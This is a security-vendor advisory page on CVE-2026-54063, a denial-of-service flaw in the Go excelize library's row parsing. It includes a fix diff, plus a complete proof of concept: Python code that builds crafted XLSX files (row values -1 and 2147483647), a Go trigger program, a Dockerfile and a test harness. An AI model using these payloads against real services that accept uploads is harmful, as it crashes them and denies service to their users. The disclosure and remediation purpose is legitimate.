CVE-2026-54063

CVE-2026-54063 is a high-severity allocation of resources without limits or throttling vulnerability in github.com/xuri/excelize/v2 (go), affecting versions < 2.11.0. It is fixed in 2.11.0.

Check whether CVE-2026-54063 affects your applications

Kodem tells you whether this CVE is present, reachable, and actually executing in your application, so you know if it matters.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence. Only the CVEs that actually run in production.

Summary

Excelize: Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS)

Full technical description

Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS)

The checkSheet() function in github.com/xuri/excelize/v2 uses an attacker-controlled <row r="N"> XML attribute value directly as the length argument to make([]xlsxRow, row) without validating it against the Excel row limit (TotalRows = 1,048,576). A specially crafted XLSX file can trigger two denial-of-service variants: (A) an out-of-memory process kill when r=2147483647 forces a ~16 GB allocation attempt, and (B) a runtime panic via out-of-bounds slice indexing when r=-1. Any service that opens attacker-supplied XLSX files and calls GetCellValue is affected. No authentication is required.

Details

The vulnerable code path is triggered by calling GetCellValue (or any API that internally invokes workSheetReader) on an XLSX file containing a crafted worksheet row element.

Data flow (source → sink):

  1. excelize.go:186-193, OpenReader reads attacker-controlled spreadsheet bytes.
  2. excelize.go:216-223, ZIP reader is created and passed to ReadZipReader.
  3. lib.go:43-77, ZIP entries are read into fileList; worksheet XML is stored by part name.
  4. excelize.go:228-229, XML bytes are stored in f.Pkg.
  5. cell.go:71-79, Public GetCellValue enters the worksheet value-read path.
  6. cell.go:1492-1494, getCellStringFunc calls workSheetReader.
  7. excelize.go:313-324, Worksheet XML is decoded into xlsxWorksheet.
  8. xmlWorksheet.go:302-312, <row r="..."> is deserialized into xlsxRow.R int with no validation (source).
  9. excelize.go:357-377, checkSheet() accumulates the maximum r value; sink: make([]xlsxRow, row) allocates a slice of that size before any bounds check.

Vulnerable code (excelize.go:373-377):

if r.R != 0 && r.R > row {
    row = r.R
}
sheetData := xlsxSheetData{Row: make([]xlsxRow, row)}  // unbounded allocation

The constant TotalRows = 1048576 is defined in templates.go:190 but is never applied before the make() call in checkSheet(), leaving the allocation fully attacker-controlled.

Variant A (r = 2147483647): make([]xlsxRow, 2147483647) attempts to allocate approximately 16 GB of memory. The Go runtime terminates the process with fatal error: runtime: out of memory.

Variant B (r = -1): The first loop in checkSheet() leaves row = 0 because the condition r.R != 0 is false for r.R = -1. The second loop then executes sheetData.Row[r.R-1], which evaluates to sheetData.Row[-2], triggering runtime error: index out of range [-2] at excelize.go:381.

Dynamic reproduction confirmed both variants inside a memory-limited Docker container (256 MB). The full panic stack trace for Variant B is:

panic: runtime error: index out of range [-2]

goroutine 1 [running]:
github.com/xuri/excelize/v2.(*xlsxWorksheet).checkSheet(...)
        /excelize/excelize.go:381
github.com/xuri/excelize/v2.(*File).workSheetReader(...)
        /excelize/excelize.go:329
github.com/xuri/excelize/v2.(*File).getCellStringFunc(...)
        /excelize/cell.go:1494
github.com/xuri/excelize/v2.(*File).GetCellValue(...)
        /excelize/cell.go:72
main.main.func1(...)
        /excelize/cmd/poc/main.go:44
main.main()
        /excelize/cmd/poc/main.go:52

Recommended remediation (excelize.go):

-func (ws *xlsxWorksheet) checkSheet() {
+func (ws *xlsxWorksheet) checkSheet() error {
     ...
         for i := 0; i < len(ws.SheetData.Row); i++ {
             r := ws.SheetData.Row[i]
+            if r.R < 0 {
+                return newInvalidRowNumberError(r.R)
+            }
+            if r.R > TotalRows {
+                return ErrMaxRows
+            }
     ...
     ws.SheetData = *sheetData
+    return nil
 }

PoC

Step 1: Generate the malicious XLSX

import zipfile

# Variant A: OOM   → row = "2147483647"
# Variant B: Panic → row = "-1"
row = "-1"

with zipfile.ZipFile("malicious.xlsx", "w", zipfile.ZIP_DEFLATED) as z:
    z.writestr("[Content_Types].xml", '''<?xml version="1.0" encoding="UTF-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
</Types>''')
    z.writestr("_rels/.rels", '''<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>
</Relationships>''')
    z.writestr("xl/workbook.xml", '''<?xml version="1.0" encoding="UTF-8"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
          xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets>
</workbook>''')
    z.writestr("xl/_rels/workbook.xml.rels", '''<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>
</Relationships>''')
    z.writestr("xl/worksheets/sheet1.xml", f'''<?xml version="1.0" encoding="UTF-8"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheetData><row r="{row}"><c r="A1"><v>1</v></c></row></sheetData>
</worksheet>''')

Step 2: Trigger the vulnerability

package main

import "github.com/xuri/excelize/v2"

func main() {
    f, err := excelize.OpenFile("malicious.xlsx")
    if err != nil { panic(err) }
    defer f.Close()
    _, err = f.GetCellValue("Sheet1", "A1")  // triggers checkSheet() → unbounded make()
    if err != nil { panic(err) }
}

Expected results:

  • Variant A (r="2147483647"): process is killed by the OOM killer (fatal error: runtime: out of memory or exit code 137).
  • Variant B (r="-1"): process panics with runtime error: index out of range [-2] at excelize.go:381 (exit code 2).

Both variants were confirmed in a Docker container with --memory 256m --memory-swap 256m. The malicious XLSX payload is a few hundred bytes.

Reproduction artifacts

Dockerfile

# Dockerfile for VULN-001: Unbounded Row Index Allocation in excelize checkSheet()
# CWE-770, Allocation of Resources Without Limits or Throttling
# Target: github.com/xuri/excelize/v2 @ commit f4a068b
#
# Exploit path:
#   GetCellValue -> getCellStringFunc -> workSheetReader -> checkSheet()
#   In checkSheet() (excelize.go:341-393), the attacker-controlled <row r="N">
#   attribute is used directly as make([]xlsxRow, row) size with no bounds check.
#
# Variant A (r=2147483647): OOM, make([]xlsxRow, 2147483647) exhausts memory
# Variant B (r=-1):         Panic, second loop does sheetData.Row[-2] (index OOB)

FROM golang:latest AS builder

# Copy the vulnerable excelize library source (serves as the Go module)
COPY repo/ /excelize/

# Copy the exploit main package written by poc.py
COPY vuln-001/exploit_main.go /excelize/cmd/poc/main.go

WORKDIR /excelize

# Build the exploit binary.
# -mod=mod: allow Go to update go.sum for any transitive deps.
# CGO_ENABLED=0: produce a statically-linked binary for the runtime stage.
RUN CGO_ENABLED=0 GOFLAGS="-mod=mod" go build -o /poc ./cmd/poc/

# Minimal runtime stage (golang image provides a libc for cgo-free binary too)
FROM golang:latest
COPY --from=builder /poc /poc
ENTRYPOINT ["/poc"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: Unbounded Row Index Allocation in excelize checkSheet()
CWE-770, Allocation of Resources Without Limits or Throttling
Repository: qax-os/excelize  Commit: f4a068b

Exploit mechanism:
  xlsxWorksheet.checkSheet() (excelize.go:341-393) iterates worksheet rows and
  uses the attacker-controlled <row r="N"> attribute directly as the length
  argument to make([]xlsxRow, row) without any bounds validation against
  TotalRows (1,048,576).

  Variant A (r=2147483647): make([]xlsxRow, 2^31-1) → OOM / fatal error
  Variant B (r=-1):         first loop leaves row=0; second loop executes
                            sheetData.Row[-1-1] → runtime panic: index out of range

This script:
  1. Writes exploit_main.go (the Go PoC binary source).
  2. Creates two malicious XLSX files (one per variant).
  3. Builds the Docker image.
  4. Runs each variant and captures evidence.
  5. Writes phase2_result.json with verdict.
"""

import json
import os
import subprocess
import sys
import textwrap
import zipfile

# ---------------------------------------------------------------------------
# Paths
# ---------------------------------------------------------------------------
BASE_DIR     = os.path.dirname(os.path.abspath(__file__))
PARENT_DIR   = os.path.dirname(BASE_DIR)          # Docker build context
RESULT_FILE  = os.path.join(BASE_DIR, "phase2_result.json")
DOCKERFILE   = os.path.join(BASE_DIR, "Dockerfile")
IMAGE_NAME   = "excelize-poc-vuln001"

EXPLOIT_SRC  = os.path.join(BASE_DIR, "exploit_main.go")
PANIC_XLSX   = os.path.join(BASE_DIR, "row_negative.xlsx")
OOM_XLSX     = os.path.join(BASE_DIR, "row_maxint.xlsx")


# ---------------------------------------------------------------------------
# Step 1, Write the Go exploit source
# ---------------------------------------------------------------------------
EXPLOIT_GO = textwrap.dedent("""\
    // exploit_main.go, PoC for VULN-001
    // Triggers excelize checkSheet() unbounded allocation via malicious XLSX.
    package main

    import (
    \t"fmt"
    \t"os"
    \t"runtime/debug"

    \texcelize "github.com/xuri/excelize/v2"
    )

    func main() {
    \tif len(os.Args) < 2 {
    \t\tfmt.Fprintln(os.Stderr, "Usage: poc <xlsx_file>")
    \t\tos.Exit(1)
    \t}
    \tpath := os.Args[1]
    \tfmt.Printf("[*] Opening: %s\\n", path)

    \t// Wrap the call so we can print a structured panic message before exiting.
    \t// The panic itself is the evidence of exploitability.
    \tfunc() {
    \t\tdefer func() {
    \t\t\tif r := recover(); r != nil {
    \t\t\t\tfmt.Println("[VULN] PANIC CAUGHT, vulnerability confirmed")
    \t\t\t\tfmt.Printf("[VULN] panic value: %v\\n", r)
    \t\t\t\tfmt.Println("[VULN] Stack trace:")
    \t\t\t\tdebug.PrintStack()
    \t\t\t\tos.Exit(2) // exit 2 = exploitable crash (panic)
    \t\t\t}
    \t\t}()

    \t\tf, err := excelize.OpenFile(path)
    \t\tif err != nil {
    \t\t\tfmt.Printf("[!] OpenFile error: %v\\n", err)
    \t\t\tos.Exit(1)
    \t\t}
    \t\tdefer f.Close()

    \t\t// GetCellValue → getCellStringFunc → workSheetReader → checkSheet()
    \t\t// checkSheet() is the sink: make([]xlsxRow, row) where row is attacker-controlled.
    \t\tfmt.Println("[*] Calling GetCellValue, entering checkSheet() sink")
    \t\tval, err := f.GetCellValue("Sheet1", "A1")
    \t\tif err != nil {
    \t\t\t// Some errors surface instead of panicking (e.g. allocation failures
    \t\t\t// that Go converts to errors in some configurations).
    \t\t\tfmt.Printf("[!] GetCellValue error: %v\\n", err)
    \t\t\tos.Exit(3) // exit 3 = error path (still abnormal)
    \t\t}
    \t\tfmt.Printf("[*] GetCellValue returned normally, value=%q (no crash)\\n", val)
    \t}()
    }
""")


def write_exploit_source() -> None:
    with open(EXPLOIT_SRC, "w") as fh:
        fh.write(EXPLOIT_GO)
    print(f"[+] Wrote exploit source: {EXPLOIT_SRC}")


# ---------------------------------------------------------------------------
# Step 2, Build malicious XLSX files
# ---------------------------------------------------------------------------
CONTENT_TYPES = (
    '<?xml version="1.0" encoding="UTF-8"?>'
    '<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'
    '<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>'
    '<Default Extension="xml"  ContentType="application/xml"/>'
    '<Override PartName="/xl/workbook.xml"'
    ' ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>'
    '<Override PartName="/xl/worksheets/sheet1.xml"'
    ' ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>'
    '</Types>'
)

RELS = (
    '<?xml version="1.0" encoding="UTF-8"?>'
    '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
    '<Relationship Id="rId1"'
    ' Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument"'
    ' Target="xl/workbook.xml"/>'
    '</Relationships>'
)

WORKBOOK = (
    '<?xml version="1.0" encoding="UTF-8"?>'
    '<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"'
    ' xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">'
    '<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets>'
    '</workbook>'
)

WORKBOOK_RELS = (
    '<?xml version="1.0" encoding="UTF-8"?>'
    '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
    '<Relationship Id="rId1"'
    ' Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet"'
    ' Target="worksheets/sheet1.xml"/>'
    '</Relationships>'
)


def sheet_xml(row_r: str) -> str:
    return (
        '<?xml version="1.0" encoding="UTF-8"?>'
        '<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">'
        f'<sheetData><row r="{row_r}"><c r="A1"><v>1</v></c></row></sheetData>'
        '</worksheet>'
    )


def build_xlsx(path: str, row_r: str) -> None:
    with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
        z.writestr("[Content_Types].xml",        CONTENT_TYPES)
        z.writestr("_rels/.rels",               RELS)
        z.writestr("xl/workbook.xml",           WORKBOOK)
        z.writestr("xl/_rels/workbook.xml.rels", WORKBOOK_RELS)
        z.writestr("xl/worksheets/sheet1.xml",  sheet_xml(row_r))
    print(f"[+] Created {os.path.basename(path)}  (row r={row_r!r})")


# ---------------------------------------------------------------------------
# Step 3, Docker helpers
# ---------------------------------------------------------------------------
def run_cmd(cmd: list, timeout: int = 600) -> subprocess.CompletedProcess:
    print(f"[>] {' '.join(str(x) for x in cmd)}")
    return subprocess.run(
        cmd,
        capture_output=True,
        text=True,
        timeout=timeout,
    )


def docker_build() -> tuple[bool, str]:
    result = run_cmd(
        [
            "docker", "build",
            "--no-cache",
            "-f", DOCKERFILE,
            "-t", IMAGE_NAME,
            PARENT_DIR,
        ],
        timeout=600,
    )
    combined = result.stdout + result.stderr
    if result.returncode != 0:
        print(f"[-] docker build FAILED (rc={result.returncode})")
        print(combined[-4000:])
        return False, combined
    print("[+] Docker image built successfully")
    return True, combined


def docker_run_variant(label: str, xlsx_path: str, mem: str = "256m", timeout: int = 90) -> dict:
    """Run the exploit container against one XLSX file and return analysis dict."""
    cmd = [
        "docker", "run", "--rm",
        "--memory", mem,
        "--memory-swap", mem,
        "-v", f"{xlsx_path}:/input.xlsx:ro",
        IMAGE_NAME,
        "/input.xlsx",
    ]
    run_cmd_str = " ".join(cmd)
    try:
        result = run_cmd(cmd, timeout=timeout)
        rc = result.returncode
        stdout = result.stdout or ""
        stderr = result.stderr or ""
    except subprocess.TimeoutExpired:
        rc = -99
        stdout = ""
        stderr = f"TIMEOUT after {timeout}s"

    combined = stdout + stderr
    print(f"\n--- {label} ---")
    print(f"  exit code : {rc}")
    print(f"  stdout    : {stdout[:1200]}")
    print(f"  stderr    : {stderr[:1200]}")

    is_panic = any(kw in combined for kw in (
        "index out of range",
        "PANIC CAUGHT",
        "runtime error",
        "goroutine ",
        "panic:",
    ))
    is_oom = any(kw in combined for kw in (
        "out of memory",
        "cannot allocate",
        "fatal error",
        "makeslice",
    )) or rc == 137

    # exit 2 = panic caught; exit 137 = OOM kill; exit 3 = error path
    crashed = rc != 0 and (is_panic or is_oom or rc in (2, 3, 137))

    return {
        "label":    label,
        "rc":       rc,
        "is_panic": is_panic,
        "is_oom":   is_oom,
        "crashed":  crashed,
        "run_cmd":  run_cmd_str,
        "snippet":  combined[:1500].strip(),
    }


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main() -> None:
    print("=" * 65)
    print("VULN-001 PoC, excelize checkSheet() unbounded allocation DoS")
    print("=" * 65)

    # 1. Write Go exploit source (needed before docker build)
    write_exploit_source()

    # 2. Create malicious XLSX payloads
    build_xlsx(PANIC_XLSX, "-1")          # Variant B: index OOB panic
    build_xlsx(OOM_XLSX,   "2147483647")  # Variant A: 2 GB+ make() → OOM

    # 3. Build Docker image
    build_cmd = (
        f"docker build --no-cache -f {DOCKERFILE} -t {IMAGE_NAME} {PARENT_DIR}"
    )
    build_ok, build_out = docker_build()
    if not build_ok:
        payload = {
            "passed":        False,
            "verdict":       "FAIL",
            "reason":        (
                "Docker 이미지 빌드에 실패했습니다. golang:latest 이미지가 go.mod의 "
                "'go 1.25.0' 요건을 충족하지 않을 수 있습니다. Dockerfile에서 "
                "'golang:1.25' 등 명시적 버전 태그로 교체 후 재시도 바랍니다."
            ),
            "build_command": build_cmd,
            "run_command":   "",
            "poc_command":   f"python3 {os.path.abspath(__file__)}",
            "evidence":      build_out[-2000:],
            "artifacts":     ["Dockerfile", "poc.py"],
        }
        with open(RESULT_FILE, "w") as fh:
            json.dump(payload, fh, indent=2, ensure_ascii=False)
        print(f"\n[!] FAIL result → {RESULT_FILE}")
        sys.exit(1)

    # 4. Run both variants
    ev_panic = docker_run_variant(
        "Variant B, r=-1 (index out of range panic)", PANIC_XLSX, mem="256m")
    ev_oom   = docker_run_variant(
        "Variant A, r=2147483647 (OOM)",              OOM_XLSX,   mem="256m")

    # 5. Verdict
    passed = ev_panic["crashed"] or ev_oom["crashed"]

    if ev_panic["crashed"]:
        primary, primary_ev = "B (r=-1, panic)", ev_panic
    elif ev_oom["crashed"]:
        primary, primary_ev = "A (r=2147483647, OOM)", ev_oom
    else:
        primary, primary_ev = "B (r=-1, panic)", ev_panic  # best-effort

    if passed:
        reason = (
            f"실행 결과 비정상 종료 확인됨 (주요 variant: {primary}). "
            f"Variant B(r=-1): rc={ev_panic['rc']}, panic={ev_panic['is_panic']}; "
            f"Variant A(r=2147483647): rc={ev_oom['rc']}, oom={ev_oom['is_oom']}. "
            "excelize.go:377 make([]xlsxRow, row)에 대한 bounds 검증 부재가 "
            "컨테이너 내 실제 DoS(패닉/OOM)를 유발함을 실행으로 증명."
        )
        verdict = "PASS"
    else:
        reason = (
            "컨테이너 실행이 완료되었으나 충돌(패닉/OOM) 증거가 관측되지 않음. "
            f"Variant B rc={ev_panic['rc']}, Variant A rc={ev_oom['rc']}. "
            "가능한 원인: (1) Go 런타임이 make() 실패를 panic 대신 error로 반환, "
            "(2) 메모리 한도 초과 전 OOM killer가 작동하지 않음. "
            "다음을 시도: --memory 64m으로 재실행, 또는 호스트에서 직접 Go 빌드 후 실행."
        )
        verdict = "FAIL"

    phase2 = {
        "passed":        passed,
        "verdict":       verdict,
        "reason":        reason,
        "build_command": build_cmd,
        "run_command":   primary_ev["run_cmd"],
        "poc_command":   f"python3 {os.path.abspath(__file__)}",
        "evidence":      primary_ev["snippet"],
        "artifacts":     ["Dockerfile", "poc.py"],
    }

    with open(RESULT_FILE, "w") as fh:
        json.dump(phase2, fh, indent=2, ensure_ascii=False)

    print(f"\n{'='*65}")
    print(f"Verdict : {verdict}  (passed={passed})")
    print(f"Result  → {RESULT_FILE}")
    print("=" * 65)


if __name__ == "__main__":
    main()

Impact

This is a Denial-of-Service vulnerability. An unauthenticated remote attacker can crash or memory-exhaust any Go application that uses github.com/xuri/excelize/v2 to open attacker-supplied XLSX files and subsequently calls any cell-reading API (GetCellValue, GetRows, GetCols, or any function that internally triggers workSheetReader).

Who is impacted:

  • Web services with XLSX upload or import endpoints (document processors, data pipelines, BI tools).
  • CLI tools or batch jobs that parse user-supplied spreadsheet files.
  • Any application using the library to handle untrusted XLSX documents.

The attack requires no authentication and no user interaction beyond uploading a malicious file. The payload is a minimal well-formed ZIP of a few hundred bytes, making it trivial to construct and deliver. Repeated or concurrent exploitation can permanently deny service to all users of the affected application.

The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.

CVE-2026-54063 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.11.0); upgrading removes the vulnerable code path.

Affected versions

github.com/xuri/excelize/v2 (< 2.11.0)

Security releases

github.com/xuri/excelize/v2 → 2.11.0 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade github.com/xuri/excelize/v2 to 2.11.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-54063? CVE-2026-54063 is a high-severity allocation of resources without limits or throttling vulnerability in github.com/xuri/excelize/v2 (go), affecting versions < 2.11.0. It is fixed in 2.11.0. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
  2. How severe is CVE-2026-54063? CVE-2026-54063 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/xuri/excelize/v2 are affected by CVE-2026-54063? github.com/xuri/excelize/v2 (go) versions < 2.11.0 is affected.
  4. Is there a fix for CVE-2026-54063? Yes. CVE-2026-54063 is fixed in 2.11.0. Upgrade to this version or later.
  5. Is CVE-2026-54063 exploitable, and should I be worried? Whether CVE-2026-54063 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-54063 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-54063? Upgrade github.com/xuri/excelize/v2 to 2.11.0 or later.

Stop the waste.
Protect your environment with Kodem.